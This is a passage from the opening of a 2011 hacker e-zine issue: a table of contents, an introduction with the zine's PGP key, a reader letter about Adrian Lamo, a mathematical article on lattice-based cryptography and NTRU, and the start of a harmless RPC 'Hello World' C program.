GoNullYourself4:(gonullyourself4.txt):28/04/2011 << Back To GoNullYourself4

__ _,-;''';`'-,. ,yNNNNNNNNo ,mMMMMMMMMd, _/', `; `; `\ -Mm oMd `NM: , _..,-'' ' ` ` `\ :Mm mM oMN mM: | ;._.,,-' .| |,_ ,, `\ .NMmmmmmmMM 'MMmmmmmNMN' -dh dd. | `;' ;' ;, `, ; | ' ' . \ :Mm MM. *purr* `; __` ,'__ ` , ` ; | ; \ dNNNNNNNNN, MM. yM :Mm MM. ; (6_); (6_) ; | , \ ' | NM: :My MM. yM :Mm MM. ;; _,' ,. ` `, ' `-._ | MM: :MN MM. yM :Mm MM. ,;.=..`_..=.,' -' ,'' _,--'' MM: :MM mMNmmmmmMM :Mm MM. _pb__\,`"=,,,=="',___,,,-----'''----'_'_'_''-;'' -----------------------'''''''''''''' hM) /' .h+ sh :hdddddddh/ dd` :ds oddddddddy. ,ddddddd-d ,yddddddddo ,/ ,/'ddddddd` -Mm+++++++oMM mMs:::::oMm MM. /Mh MM::::::hMh Mm+````` yMh`````yMM /' /Mh```````` /sssyMMssso- mM/ oMM MM. /Mh MM :+/ 'hhhhhhdM, yMh hh__,,-' /' MMNNNNNNNN. .MM NMdyyyyydMN MMdyyyyymMh MM ,,,,,,,,MM sMN,/'_,,--''Mo My```````` `o+ `+ooooooo+` .+oooooooo: oo .oooooooo+: `/o| (ooooo /o- My `' My +: 0x01 Introduction || 0x08 MapReduce, Part 2 elchupathingy 0x02 Feedback + Edits || 0x09 Cameras + DVRs Scan storm 0x03 Lattice-Based Cryptography rattle || 0x0a 303-833-00xx Scan Shadytel, Inc 0x04 duper's Code Corner duper || 0x0b bit.ly Shenanigans Silks, elchupa 0x05 The Tech Behind Credit Cards K141 || 0x0c Programming Challenge storm 0x06 Brief Notes on Kiosk Hacking storm || 0x0d The Scoop on LIGATT 0x07 Linux Rootkit Dev Update duper || 0x0e Et Cetera, Etc. teh crew [==================================================================================================] [================================================] Go Null Yourself E-Zine Issue #4 - Spring/April 2011 www.GoNullYourself.org "It makes sense if you don't think about it" [================================================] [==================================================================================================] -=[ 0x01 Introduction Ahoy there, and welcome to issue #4 of GNY Zine - just in time for spring! The sun is shining, the birds are chirping, and with the advent of laptops, now all you little h4xx0rs have no excuse not to go outside! For those who still prefer the cool depths of a basement, though, then GNY Zine has all you need in lieu of vitamin D and a social life. Like crypto! And rootkits! And leet ASCII art! We may not have iced tea, but here's a recipe to make up for it: * 8 cups water * 3 orange pekoe tea bags * 3/4 cup SPLENDA® No Calorie Sweetener, Granulated * 1/2 cup lemon juice 1. In a large saucepan, heat water to a rapid boil. Remove from heat and drop in the tea bags. Cover and let steep for 1 hour. 2. In a large pitcher, combine the steeped tea and the SPLENDA® Granulated Sweetener. Stir until dissolved, then stir in lemon juice. Refrigerate until chilled. Hey, it got quite a few good reviews and only has 11 Calories. Anyways, don't want to keep you. Those 3100 lines below aren't gonna read themselves. Enjoy the zine, and see ya in the summer. Notable Events ============== January 2011 - Leak of LIGATT Security/Gregory D. Evans January 31, 2011 - Go Null Yourself turns 3-years-old February 3, 2011 - Exhaustion of remaining IPv4 address space February 2011 - Leak of HBGary, Inc. -=-=- Now, on to formalities... If you are interested in submitting content for future issues of GNY Zine, we would be happy to review it for publication. Content may take many forms, whether it be a paper, review, scan, or first-hand account of an event. Submissions of ASCII cover art that display the GNY logo in some way are also appreciated. Well-received topics include computer hacking and exploitation methods, programming, telephone phreaking (both analog and digital), system and network exploration, hardware hacking, reverse engineering, amateur radio, cryptography and steganography, and social engineering. We are also receptive to content relating to concrete subjects such as science and mathematics, along with more abstract subjects such as psychology and culture. Both technical and non-technical material is accepted. Submissions of content, suggestions for and criticisms of the zine, and death threats may be sent via: - IRC private message (storm, m0nkee, or Barney- @ irc.gonullyourself.org #gny) - Email (zine@gonullyourself.org) If there is enough feedback, we will publish some of the messages in future issues. Our PGP key is available for use below. We have devoted a lot of effort into this publication and hope that you learn something from reading it. Abiding by our beliefs, any information within this e-zine may be freely re-distributed, utilized, and referenced elsewhere, but we do ask that you keep the articles fully intact (unless citing certain passages) and give credit to the original authors when and where necessary. Go Null Yourself, its staff members, and the authors of GNY Zine are not responsible for any harm or damage that may result from the information presented within this publication. Although people will be people and act in idiotic fashions, we do not condone, promote, or participate in illegal behavior in any way. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.11 (GNU/Linux) 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 8QJQ4gF00KrsCCSrPyg/cZ5G =g7oJ -----END PGP PUBLIC KEY BLOCK----- [==================================================================================================] -=[ 0x02 Feedback and Edits We always strive to publish accurate information in GNY Zine, but we the authors and editors are in fact human beings and are subject to making mistakes from time to time, despite our best efforts. The publication, compilation, and distribution of this e-zine is derived entirely from our passion for technology and curiosity of how things tick. GNY Zine has no commercial influences. If you find that there is an error in content that we have published, please do not hesitate to email us so that it may be announced and corrected in the next issue. Not acting like a stuck-up elitist about it will probably invoke a more positive response too. With that being said, we are also receptive to content or personal experiences relevant to information presented in past issues. If you've written some code, applied a concept in a new way, or just want to voice your opinion about a topic, send us an email! We may be contacted at: zine@gonullyourself.org (PGP key is available in the Introduction) Please note that emails we like will be published in future issues, so specify if you wish for your message to remain private or if you wish for us to redact certain personal information from it. ---------------------------------------------------------------------------------------------------- Turning Manning into the Feds turns an institution with relatively unlimited power against Manning. The techniques used by Lamo were a betrayal of trust given (arguably without having been earned) to Lamo. Lamo is a snitch by definition. The fact that he still has hosting on domains like resist.ca, is further evidence that resist.ca can not be trusted as an anarchist resource. The panel at HOPE in which Lamo was confronted framed the hacker community as one that is filled with snitches. Members of the panel told stories about how they were turned in by people they collaborated with and trusted. Behavior like this closes doors to the flow of information, welcomes the violence of authoritarian institutions, and sets the foundation for the privatization of security research. Behavior like Lamo's is in opposition to the safety and values of the hacker community, and as a result should not be allowed space. Idolizing individuals who act with such a disregard for the hacker community they claim to be a part of with a glowing expose is a disgrace to the hacker community. With disgust, evoltech >> Thanks for sending us your opinion. Though, we checked and it seems like Adrian's website is >> currently 404'ing (for those of you who didn't read the interview from issue #2, the URL is >> http://users.resist.ca/~adrian/). We actually followed up on this and contacted resist.ca about >> it, who replied: Hi there, Sorry we haven't responded to you yet about your question about Adrian Lamo's website on resist.ca. We removed his various accounts becuase his motivations seem to be in conflict with ours (see http://www.youtube.com/watch?v=ebLahUUr__s). Our project is politically motivated and we offer services to projects that share our political alignment. Adrian's activities around the wikileaks debacle suggest to us that he doesn't actually align with us politically. For more information on the kinds of political activism we support, please read our mission statement at http://resist.ca/mission and our basis of unity at http://resist.ca/basis --The resist.ca collective >> So, there you go. [==================================================================================================] -=[ 0x03 Lattice-Based Cryptography -=[ Author: rattle -=[ Website: http://www.awarenetwork.org/ p o s t - q u a n t u m ,----,----,--,--,-----.|¯¯|_.-----.-----.----.---.-.-----.|¯¯|--.--.--. | __| _| | | = || _| = | = | _| = | = || | | | |____|__| |___ | __||____|_____|___ |__| |___._| __||__|__|___ | |_____|__| |_____| |__| |_____| A Lattice-Based Crypto System rattle // born // tobi -- 0 Requirements -------------------------------------------------------------- I will expect readers to have a basic grasp of (linear) algebra. The terms I will use without further explanation are the following: - vector - linear independence - matrix - rank of a matrix - transpose of a matrix - scalar products - quotient rings Z(q) = { 0, ..., q-1 } (where all operations are performed modulo q) I also expect the reader to have a certain idea of computational complexity, if even only the roughest. You should have heard of the following notions: - Big-O notation (Landau symbols) - Time/Space complexity of an algorithm I really can not give a complete introduction to these topics here. I would recommend literature, but all the undergraduate books on these topics that I know are in German. ---- 0.1 Notation -------------------------------------------------------------- When A is some (n x m)-matrix (this means it has n rows and m columns), then the entry in the i-th row and j-th column is denoted by A[i,j]. Similarly, if a is a vector (which is just a (n x 1)-matrix), we will denote the i-th entry of this vector by a[i]. The transpose of a matrix A is denoted by A°. The canonical basis of real space will be denoted by e(1)...e(n), which are the vectors defined by e(i)[j]=1 <=> i=j and e(i)[j]=0 otherwise. We will denote the real numbers by R, the integer numbers by Z. The notation X^n is to be read as "X to the n" and denotes Cartesian powers if X is a set, otherwise it means multiplying X with itself n times, duh. In real space, if a and b are vectors, we denote by <a,b> = a[1]·b[1] + ··· + a[n]·b[n] the Euclidean scalar product. -- 1 Introduction -------------------------------------------------------------- Given linearly independent vectors B[1],...,B[n] in R^n, the lattice spanned by these vectors is the set L = { a[1]·B[1] + ... + a[n]·B[n] | a in Z^n } of all integer linear combinations of them. The following is an example in R^2: Each lattice point is marked by an x and the 'grid' has been ASCII-modelled for your convenience. ^ |· · ·. · · ·. · · 7 x · x · x · | ·. · · ·. · · ·. · 6 | x · x · x | · ·. · · ·. · · · 5 | · x · x · | ·. · · ·. · · ·. · 4 | x · x · x | · ·. · · ·. · · ·. 3 | · x · x · | · · ·. · · ·. · 2 | x · x · x | · ·. · · ·. · · ·. · 1 | · x · x · x |· · ·. · · ·. · · --+---------------------------x---------------------------x-----------------> | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Figure 1: Example of a two-dimensional Lattice Now, consider the following picture. We have added a "target" vector (marked €) and a circle around it intersecting the closest lattice point, which is p=(5,3) in this case. ^ |· · ·. · · ·. · · 7 x · x · x · | ·. · · ·. · · ·. · 6 | x · x · x | · ·. · · ·. · · · 5 | · x · x · | ·. · _·_ ·. · · ·. · 4 | x Ž · ` x · x | · ·. | · € | · ·. · · ·. 3 | · p , · x · | · · ¯ ¯ ·. · · ·. · 2 | b · x · x | · ·. · · ·. · · ·. · 1 | · a · x · c |· · ·. · · ·. · · --+---------------------------d---------------------------x-----------------> | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Figure 2: Lattice with target vector Using the basis a=(4,1) and b=(1,2), it is easy to see that p = a + b. On the other hand, using the basis c=(18,1) and d=(7,0), the same point has the less simple description p = 3·c - 7·d. When passing to higher dimensions, this phenomenon escalates drastically. This way, we obtain a computational problem that varies from easy to virtually impossible to solve, depending very much on on the lattice basis used. ---- 1.1 Lattice Problems ------------------------------------------------------ Let L be a lattice and g some real value greater or equal to one. We denote by d(x,y) the distance from the point x to the point y. The lattice approximation problems are the following: CLOSEST VECTOR PROBLEM -- CVP(g): For any vector t in R^n, let y be the lattice point closest to t. The task is to find a lattice point x not equal to t such that d(x,t) is less or equal to g·d(y,t). In other words, x is no further from t than g times the distance from t to any lattice point. SHORTEST VECTOR PROBLEM -- SVP(g): Find a vector x such that x is no longer than g times the shortest lattice vector. This is the special case of the CVP where t=(0,...,0) is the origin. We also write SVP = SVP(1) and CVP = CVP(1) for the non-approximative problems. ---- 1.2 Lattice-based Encryption: Breakdown ----------------------------------- Based on these problems, we can build an assymetrical cryptosystem, which is roughly described as follows: a) Choose a random "good" basis and keep it as a private key. b) Hand out a "bad" basis for the same lattice as a public key. c) Somehow find a way to encode your messages as lattice points. d) Encrypt a lattice point by simply distorting it randomly by a small vector. e) Decryption now means that you have to find the lattice point closest to the distorted vector (because it was the original message). This is now equivalent to solving the CVP, which should only be possible when in possession of a "good" basis. ---- 1.3 Analysis of SVP ------------------------------------------------------- We now give a brief historical analysis of the hardness of the SVP(g) - one should note here that the CVP(g) is harder than the SVP(g), therefore it would suffice if the SVP(g) was hard to solve. And indeed, from the algorithms known so far, it seems that we can either achieve a polynomial runtime or a polynomial approximation factor, but not both: +--------+--------------+--------+-------------------------------------+ | g | Runtime | Space | Reference | +--------+--------------+--------+-------------------------------------+ | 1 | 2^O(n) | 2^O(n) | [JHLW11, Combinatorial SVP-Solver] | | 1 | 2^O(n log n) | poly | [Kan83] | | poly | 2^O(n) | 2^O(n) | [MR09] | | 2^O(n) | poly | ? | [LLL82] | +--------+--------------+--------+-------------------------------------+ This has led to the following conjecture: Conjecture 1.1. There is no polynomial time algorithm that approximates lattice problems to within polynomial factors. As far as exponential-time exact solvers are concerned, they have become practical even for small instances just in the recent years: +------+-------------------------+----------+-----------+ | Year | Authors | Time | Space | +------+-------------------------+----------+-----------+ | 2001 | Ajtai, Kumar, Sivakumar | 2^O(n) | 2^O(n) | | 2004 | Regev | 2^(16n) | 2^(8n) | | 2008 | Nguyen, Vidick | 2^(5.9n) | 2^(3n) | | 2010 | Pujol, Stelhé | 2^(2.5n) | 2^(1.2n) | +------+-------------------------+----------+-----------+ One should note, however, that lattice reduction methods such as [LLL82] seem to perform better in practice than their theoretic worst-case guarantees suggest. This is not fully explained yet, but has experimental evidence: In [GN08], different algorithms and several distributions on lattices were compared with the result that they provide an approximation ratio of roughly g=d^n where d is close to 1.012. Still, it seems that approximation rations of (1.01)^n are outside the reach of known lattice reduction algorithms. We should note that for __________ / n g > / -------- ¯\/ log(n) the SVP(g) is not NP-hard unless the polynomial time hierarchy collapses (you should read this as "is not NP-hard"). However, it was shown in [Ajt98] that the SVP=SVP(1) actually is NP-hard. Furthermore, there are no quantum algorithms known that perform better than the classical ones. Because of this, lattice- based cryptography is often labelled "post-quantum" cryptography. In summary, we may very well assume that the SVP is a hard problem. -- 2 NTRU ---------------------------------------------------------------------- We will now present a practical implementation of the rough idea presented in subsection 1.2. For the mathematically inclined, a detailed explanation of why the encryption scheme really works the way we outlined in 1.2 can be found in [JHLW11]. ---- 2.1 Mathematical Necessities ---------------------------------------------- We first require a couple of mathematical definitions and results, since NTRU operates on a very special kind of lattices. Definition 2.1. Let Z(q) = {0,...,q-1} be the integer numbers from 0 to q-1, with all operations performed modulo q. We denote by p: Z --> Z(q) the map that sends any number n to (n mod q). When A is a matrix with integer entries, we denote by p(A) the matrix with entries in Z(q) which is obtained by reducing all entries modulo q. Definition 2.2. Let v in R^n be a vector an A an (n x n)-matrix. We then define the matrix / \ | v[0] (A·v)[0] ··· (A^(n-1)·v)[0] | | · · · | (A*v) := | · · · | | · · · | | v[n] (A·v)[n] ··· (A^(n-1)·v)[n] | \ / whose i-th column is the result of applying A exactly (i-1) times to v. We also define the special (n x n)-matrix / | \ | 0 · · · 0 | 1 | | ---------------+--- | | 1 0 · · 0 | 0 | T := | 0 · · | · | | · · · | · | | · · 0 | · | | 0 · · 0 1 | 0 | \ | / and will make frequent use of the matrix (T*v), which is the matrix whose i-th column is just v, rotated by i. Lemma 2.3. For any two vectors f and g, 1) (T*f)·g = (T*g)·f 2) T·(T*f) = (T*f)·T 3) (T*f)·(T*g) = (T*((T*f)·g)) Proof. Consider the (k x k)-matrices / \ | 0 · · 0 1 | | · · 0 | I(k) := | · · · | | 0 · · | | 1 0 · · 0 | \ / and the symmetrical (n x n)-matrices / | \ | I(k) | 0 | S(k) := | ------+-------- | | 0 | I(n-k) | \ | / Then, we have / \ / \ / \ | g[1] g[n] ·· g[2] | | <f,S(1)·g> | | <S(1)·f,g> | | g[2] g[1] ·· g[3] | | <f,S(2)·g> | | <S(2)·f,g> | (T*g)·f = | · · · | · f = | · | = | · | =: h | · · · | | · | | · | | g[n] g[n-1] ·· g[1] | | <f,S(n)·g> | | <S(n)·f,g> | \ / \ / \ / And clearly, (T*f)·g = h. This proves part (1) already. For the second state- ment, we calculate (all index operations are performed modulo n): __ n <S(i-1)·f,(T^j)·g> = > (S(i-1)·f)[k] · ((T^j)·g)[k] ¯¯ k=1 __ i-1 __ n = > f[i-k]·g[k-j] + > f[n+i-k]·g[k-j] ¯¯ k=1 ¯¯ k=i __ i __ n+1 = > f[i-k+1]·g[k-j-1] + > f[n+i-k+1]·g[k-j-1] ¯¯ k=2 ¯¯ k=i+1 __ i __ n = > f[i-k+1]·g[k-j-1] + > f[n+i-k+1]·g[k-j-1] ¯¯ k=1 ¯¯ k=i+1 = <S(i)·f,T^(j+1)·g> which yields / \ / \ / \ | <S(1)·f,T^(j-1)·g> | | <S(n)·f,T^(j-1)·g> | | <S(1)·f,(T^j)·g> | | <S(2)·f,T^(j-1)·g> | | <S(1)·f,T^(j-1)·g> | | <S(2)·f,(T^j)·g> | T · | · | = | · | = | · | | · | | · | | · | | <S(n)·f,T^(j-1)·g> | | <S(n-1)·f,T^(j-1)·g> | | <S(n)·f,(T^j)·g> | \ / \ / \ / and therefore, / \ | <S(1)·f,T^(j-1)·g> | T^(j-1) · h = (T*h)_j = | ... |. | <S(n)·f,T^(j-1)·g> | \ / With this, it is now obvious that / \ / \ | f[1] f[n] · · f[2] | | g[1] g[n] · · g[2] | | f[2] f[1] · · f[3] | | g[2] g[1] · · g[3] | (T*f)·(T*g) = | · · · | · | · · · | = (T*h). | · · · | | · · · | | f[n] f[n-1] · · f[1] | | g[n] g[n-1] · · g[1] | \ / \ / q.e.d. Definition 2.4. Let n and d be positive integer numbers and d < n. A vector f in Z^n is called a d-vector if it has exactly d negative and d+1 positive entries. ---- 2.2 The NTRU Cryptosystem ------------------------------------------------- We can now describe the process of key generation for the NTRU cryptosystem: ________________________________________________________________________________ Algorithm 1: NTRU-KEY-GENERATION ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Input: A prime number n, a "modulus" q, a "weight bound" d and an integer p<q. Output: A private key (f,g) in Z^(2n) and a public key h in Z(q)^n. ________________________________________________________________________________ 1: CHOOSE two d-vectors f' and g in {p,0,-p}^n randomly 2: SET f := f' + e(1) 3: IF p(T*f) is not invertible THEN 4: GOTO 1 5: SET h := (T*f)^(-1) · g 6: SET h := h mod q 7: RETURN (f,g) and h ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ The number q is called the modulus because we operate modulo q, the reason why we call d the "weight bound" will become apparent later. From the choice of the vectors f and g in the algorithm, we immediately obtain the following result: Proposition 2.4. Let (f,g) and h be a key pair generated by Algorithm 1. Then, (T*f) mod p = I and (T*g) mod p = 0. Let us now take a look at the encryption and decryption routines: ________________________________________________________________________________ Algorithm 2: NTRU-ENCRYPTION ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Input: A prime number n, a modulus q, a weight bound d, a public key h, and a d-vector m in {1,0,-1}^n encoding the message. Output: A ciphertext c in Z(q)^n. ________________________________________________________________________________ 1: CHOOSE a d-vector r in {1,0,-1}^n randomly 2: RETURN m + (T*h)·r ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ This encryption routine works exactly as step d) in 1.2: We choose a random "distortion" vector r and distort the message by (T*h)·r. The result is our ciphertext. ________________________________________________________________________________ Algorithm 3: NTRU-DECRYPTION ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Input: A prime number n, a modulus q, a weight bound d, an integer p < q, a private key (f,g) in Z(q)^n and a ciphertext c in Z(q)^n. Output: The plaintext message m in {1,0,-1}^n ________________________________________________________________________________ 1: SET v := (T*f)·c 2: FOR i=1 TO n DO 3: CHOOSE t such that p(t)=w[i] and |t| is minimal 4: SET v[i] := t mod p 5: RETURN v ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ It is not yet clear why the decryption routine actually recovers the plaintext from a given ciphertext - and in fact, it doesn't do so in every case: Proposition 2.5. With a parameter choice satisfying 8dp + 4p + 2 < q, (#) the NTRU-Cryptosystem works correctly. Proof. Assume that c is a ciphertext generated by the NTRU-ENCRYPTION. Then, by Lemma 2.3, (T*f)·c = (T*f)·m + (T*f)·(T*h)·r = (T*f)·m + (T*((T*f)·h))·r modulo q. Since h = (T*f)^(-1)·g, this gives us (T*f)·c mod q = (T*f)·m + (T*g)·r mod q. If the absolute values of all entries of the vector v := (T*f)·m + (T*g)·r are bounded by q/2, the loop in steps 2 to 4 of the NTRU-DECRYPTION algorithm will recover the value of v in Z^n and NOT just modulo q. By 2.4, this would then mean v mod p = (T*f)·m + (T*g)·r mod p = I·m = m. Hence, let us inspect the vector v more closely. Its i-th entry is given by the formula __ n v[i] = > ( (T*f)[i,j]·m[j] + (T*g)[i,j]·r[j] ) ¯¯ j=1 __ n = > ( (T^(j-1)·f)[i]·m[j] + (T^(j-1)·g)[i]·r[j] ) ¯¯ j=1 __ n = > ( f[i-j+1]·m[j] + g[i-j+1]·r[j] ) ¯¯ j=1 We write f' := f - e(1), which is the vector chosen in step 1 of the NTRU-KEY-GENERATION algorithm. Estimating the absolute value of v[i], it is maximized for f'[i-j+1] = -p if m[j] = -1 and g[i-j+1] = -p if r[j] = -1 p if m[j] = 1 p if r[j] = 1 Since f=f'+e(1), we get |v[i]| <= (2d+1)·p + (2d+1)·p + 1 = 4dp + 2p + 1, yielding (#), if we want the absolute values of v to be bounded by q/2; q.e.d. -- 3 Further Reading ----------------------------------------------------------- If you would like to read the fullblown math article, it is reference [JHLW11] and the URL to the PDF is given below. ---- 3.1 References ------------------------------------------------------------ [LLL82] A.K. Lenstra, H.W. Lenstra, and L. Lovasz, Factoring polynomials with rational coefficients, Math. Ann. 261 (1982), 515-534. [Kan83] Ravi Kannan, improved algorithms for integer programming and related lattice problems, In Proc. 15th ACM Symp. on Theory of Computing (STOC)(1983), 193-206. [Ajt98] M. Ajtai, The shortest vector problem in L2 is NP-hard for randomized reduc-tions, Proc. of 30th STOC. ACM (1998), 10-19. [GN08] N.Gama and P.Q.Nguyen, Predicting lattic reduction, Advances in Cryptology, Proc. Eurocrypt '08, Lecture Notes in Computer Science, Springer 2008 [MR09] D.J. Bernstein, J. Buchmann and E. Dahmen, Post Quantum Cryptography, chapter Lattice-based Cryptography by Daniele Micciancio and Oded Regev, 147-191, Springer 2009. [JHLW11] Jesko Huettenhain, Lars A. Wallenborn, Lattice-Based Methods, Seminar Topics in Post-Quantum Cryptography (2011), http://www.uni-bonn.de/~rattle/works/lattices.pdf -----------------------------------------------------------------------[ eof ]-- [==================================================================================================] -=[ 0x04 duper's Code Corner -=[ Author: duper -=[ Website: http://projects.ext.haxnet.org/~super/ o o o | | | o-O o o o-o o-o o-o o-o o-o o-o o-O o-o o-o o-o o-o o-o o-o o-o | | | | | | |-' | \ | | | | | |-' | | | | | | |-' | o-o o--o O-o o-o o o-o o-o o-o o-o o-o o-o o-o o o o o-o o | o /** * Code for creating the client and server sides of a Transport * Independent Remote Procedure Call "Hello World" in Linux * * i.e. not based on the SunRPC code of glibc * * Super-user access is not required, only a running portmapper. */ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<rpc/rpc.h> /** * gcc -o create-tcp-rpc-client create-tcp-rpc-client.c -ltirpc */ void vexit(const char *funcname) { perror(funcname); exit(EXIT_FAILURE); } void dispatch(struct svc_req *request, SVCXPRT *xprt) { FILE *afile = fopen("/tmp/a.txt", "a"); if(!afile) vexit("fopen"); fputs("Hello World!\n", afile); fclose(afile); return; } int main(void) { SVCXPRT* svcxprt = svctcp_create(RPC_ANYSOCK, 0, 0); if(!svcxprt) vexit("svctcp_create"); printf("xp_sock: %d\n", svcxprt->xp_sock); printf("xp_port: %d\n", svcxprt->xp_port); if(svc_register(svcxprt, 101337, 1, 